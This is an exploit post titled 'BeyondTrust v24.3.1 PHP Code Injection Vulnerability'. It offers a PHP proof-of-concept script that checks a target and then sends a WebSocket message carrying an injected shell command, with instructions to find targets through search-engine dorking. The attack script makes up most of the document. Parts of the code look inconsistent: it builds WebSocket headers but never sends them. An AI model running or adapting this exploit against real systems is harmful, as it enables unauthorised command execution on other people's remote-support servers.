BeyondTrust 24.3.1 Code Execution

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    | # Title     : BeyondTrust v24.3.1 PHP Code Injection Vulnerability                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.beyondtrust.com                                                                                                 |
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    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] The code exploits a vulnerability in BeyondTrust Remote Support via WebSocket to execute arbitrary commands on the target system.
     
    [+] save code as poc.php .
    
    [+] USage : cmd => c:\www\test\php poc.php <URL>
    
    [+] SeT target  = Line 72
    
    [+] PayLoad :
    
    <?php
    
    class BeyondTrustExploit {
        private $target;
        private $port;
        private $use_ssl;
        private $payload;
    
        public function __construct($target, $port = 443, $use_ssl = true) {
            $this->target = $target;
            $this->port = $port;
            $this->use_ssl = $use_ssl;
            $this->payload = "echo 'Hacked';"; // تعديل الحمولة حسب الحاجة
        }
    
        private function send_request($path, $params = []) {
            $protocol = $this->use_ssl ? 'https' : 'http';
            $url = "$protocol://{$this->target}:{$this->port}$path";
            
            $query_string = http_build_query($params);
            $full_url = !empty($query_string) ? "$url?$query_string" : $url;
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $full_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            
            $response = curl_exec($ch);
            curl_close($ch);
            
            return $response;
        }
    
        public function check_vulnerability() {
            $response = $this->send_request('/get_rdf', ['comp' => 'sdcust', 'locale_code' => 'en-us']);
            
            if (!$response) {
                return "No Target";
            }
            
            if (strpos($response, 'Thank you for using BeyondTrust') !== false) {
                return "OHH OK";
            }
            return "no";
        }
    
        public function exploit() {
            $ws_url = ($this->use_ssl ? 'wss' : 'ws') . "://{$this->target}:{$this->port}/nw";
            
            $headers = [
                "Sec-WebSocket-Protocol: ingredi support desk customer thin",
                "X-Ns-Company: TargetCompany",
                "Host: {$this->target}"
            ];
            
            $wsock = fsockopen($this->target, $this->port, $errno, $errstr, 10);
            if (!$wsock) {
                return " WebSocket";
            }
            
            fwrite($wsock, "1\n");
            fwrite($wsock, uniqid() . "\n");
            fwrite($wsock, "0\n");
            fwrite($wsock, "\xC0'; \! {$this->payload} #\n");
            
            fclose($wsock);
            return "payload";
        }
    }
    
    $exploit = new BeyondTrustExploit('127.0.0.1');
    echo $exploit->check_vulnerability();
    echo "\n";
    echo $exploit->exploit();
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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